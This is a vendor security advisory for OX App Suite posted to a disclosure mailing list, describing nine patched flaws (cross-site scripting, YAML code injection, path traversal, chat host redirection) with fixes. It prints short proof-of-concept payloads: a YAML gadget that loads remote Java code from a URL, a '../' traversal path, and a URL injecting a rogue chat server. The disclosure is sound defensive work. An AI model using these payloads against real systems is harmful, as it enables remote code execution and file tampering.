Open-Xchange Security Advisory 2021-11-18

From: Open-Xchange GmbH via Fulldisclosure <fulldisclosure () seclists org>
Date: Fri, 19 Nov 2021 10:39:35 +0100

Dear subscribers,

we're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those vulnerabilities. Feel free to join our bug bounty programs for OX AppSuite, Dovecot and PowerDNS at HackerOne.

Yours sincerely,
  Martin Heiland, Open-Xchange GmbH

Product: OX App Suite, OX Documents
Vendor: OX Software GmbH

Internal reference: MWB-993
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.5 and earlier
Vulnerable component: backend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.3-rev35, 7.10.4-rev25, 7.10.5-rev13
Vendor notification: 2021-03-09
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33489
CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Vulnerability Details:
Specific image formats use media-types that are were not recognized by our sanitization engine. When injecting HTML and JS code to such files, they could bypass sanitization methods.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would require the victim to follow a hyperlink.

Steps to reproduce:
1. Create a XCF image file and include JS code
2. Share the file using OX Drive sharing
3. Make someone click the direct link to the shared file

Solution:
We improved the list of known unsafe media-types to make sure such content is handled as binary file and download is enforced.

Internal reference: MWB-1067
Vulnerability type: Code Injection (CWE-94)
Vulnerable version: 7.10.5 and earlier
Vulnerable component: middleware
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.3-rev35, 7.10.4-rev25, 7.10.5-rev13
Vendor notification: 2021-05-06
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33493
CVSS: 3.9 (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N)

Vulnerability Details:
The middleware component uses YAML for complex configuration constructs. The parser used for that purpose offers an insecure parsing method, which could be abused to inject arbitrary YAML-formatted Java classes that would be executed.

Risk:
Arbitrary Java code could be executed in the context of the middleware process. To exploit this, a user with high privilege or a compromised workload would have to maliciously modify configuration files. These modifications are very likely to cause malfunction and keep the service from starting properly.

Steps to reproduce:
1. Add YAML representation of Java classes to a configuration file
2. Reload configuration or restart

Proof of concept:
```
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://example.open-xchange.com/";]
  ]]
]
```

Solution:
We now use a parsing method that is limited to creating save Java classes which are expected for configuration files.

Internal reference: MWB-1094
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.5 and earlier
Vulnerable component: backend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.3-rev35, 7.10.4-rev25, 7.10.5-rev13
Vendor notification: 2021-05-20
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33490
CVSS: 3.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N)

Vulnerability Details:
HTML content stored as "snippet" does not get properly sanitized in case invalid HTML is stored.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering

unwanted actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would either have access to the victims account or be part of the same context.

Steps to reproduce:
1. Create a snippet with broken HTML code and store it as (shared) mail signature
2. Make users to select the malicious mail signature

Solution:
We improved sanitization of snippets, including invalid HTML code.

Internal reference: DOCS-3309
Vulnerability type: Relative Path Traversal (CWE-23)
Vulnerable version: 7.10.5 and earlier
Vulnerable component: office
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.3-rev15, 7.10.4-rev9, 7.10.5-rev6
Vendor notification: 2021-03-23
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33491
CVSS: 6.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L)

Vulnerability Details:
External mail account discovery allows malicious users to append arbitrary URL paths to mail addresses. In combination with malicious auto-configuration DNS records, this can be abused to access web services outside of the expected trust boundary, regardless of existing blocklists.

Risk:
Zip archives (like OOXML and ODF documents) might contain entries with relative pathes, pointing outside of archive root. The extraction process uses the assigned paths and make it is possible to override OX service user writable files (e.g. log files)

Steps to reproduce:
1. Create a OOXML or ODF file, modify the ZIP archive content table
2. Use a relative path that would overwrite or add files to unexpected locations
3. Use OX Documents to open such files

Proof of concept:
../tmp/foobar

Solution:
We now prevent the extraction of files with releative paths outside of the expected working directories. A WARN message has been added to the log file whenever this happens.

Internal reference: OXUIB-770
Vulnerability type: Improper Input Validation (CWE-20)
Vulnerable version: 7.10.5
Vulnerable component: frontend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.5-rev12
Vendor notification: 2021-03-17
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33488
CVSS: 5.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)

Vulnerability Details:
The "chat" component contains development related hooks to provide the URL of the chat backend service. This can be used to redirect users to rogue OX Chat servers.

Risk:
User may disclose sensitive information at a non-trusted system or get harassed with unsolicited content. To exploit this an attacker would require the victim to follow a hyperlink.

Steps to reproduce:
1. Setup a rogue OX Chat backend or mock service
2. Create a hyperlink pointing to that service
3. Make users click that link

Proof of concept:
https://example.com/appsuite/#!!&app=io.ox/chat&chatHost=https://127.0.0.1:8000

Solution:
We no longer accept user provided input as configuration for client components.

Internal reference: OXUIB-771
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.5
Vulnerable component: backend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.5-rev12
Vendor notification: 2021-03-17
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33492
CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Vulnerability Details:
Room names in OX Chat can be set to JS code fragments, those are not sufficiently sanitized before adding them to other room participants DOM.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would need to be part of the OX context as the victim.

Steps to reproduce:
1. Create a chat room with JS code as title
2. Invite other users

Solution:
We improved sanitization of room titles since they are user-provided information.

Internal reference: OXUIB-809
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.4 and earlier
Vulnerable component: frontend
Report confidence: Confirmed

Solution status: Fixed by Vendor
Fixed version: 7.10.3-rev30, 7.10.4-rev26
Vendor notification: 2021-04-16
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: To be assigned by the vulnerable component
CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)

Vulnerability Details:
OX App Suite uses the "blankshield" component to protect older browsers against "tabnabbing" attacks. A vulnerability was detected at this component, which could be used to run cross-site scripting attacks by injecting malicious hyperlinks to E-Mail and other content.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted
actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would require the victim to follow a hyperlink. The issue is related to browsers which are no longer supported by OX App Suite 7.10.5 or newer.

Steps to reproduce:
1. Create a E-Mail with a hyperlink that contains malicious JS code
2. Send that E-Mail to the victim and make it follow the link

Solution:
We provided a workaround for this issue to our code and to the upstream component.

Internal reference: OXUIB-837
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.5
Vulnerable component: frontend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.5-rev12
Vendor notification: 2021-05-06
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33494
CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Vulnerability Details:
A OX Chat method did not properly escape the room title when rendering the "typing" status and adding it to DOM.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted
actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would need to be part of the OX context as the victim.

Steps to reproduce:
1. Create a OX Chat room with malicious code as title
2. Make users join and interact with this channel

Solution:
We now escape user input, like the room title, when injecting it to DOM.

Internal reference: OXUIB-838
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.5
Vulnerable component: frontend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.10.5-rev12
Vendor notification: 2021-05-06
Solution date: 2021-06-01
Public disclosure: 2021-11-18
CVE reference: CVE-2021-33495
CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Vulnerability Details:
A OX Chat method did not properly escape content of "system messages" when adding it to DOM.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted
actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would need to be part of the OX context as the victim.

Steps to reproduce:
1. Create a system message in OX Chat that includes HTML/JS code
2. Make users join and interact with OX Chat

Solution:
We escape any chat messages, including system messages, when injecting it to DOM.

Attachment: signature.asc
Description: Message signed with OpenPGP

By Date By Thread

Current thread:

Open-Xchange Security Advisory 2021-11-18 ***Open-Xchange GmbH via Fulldisclosure (Nov 21)***

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License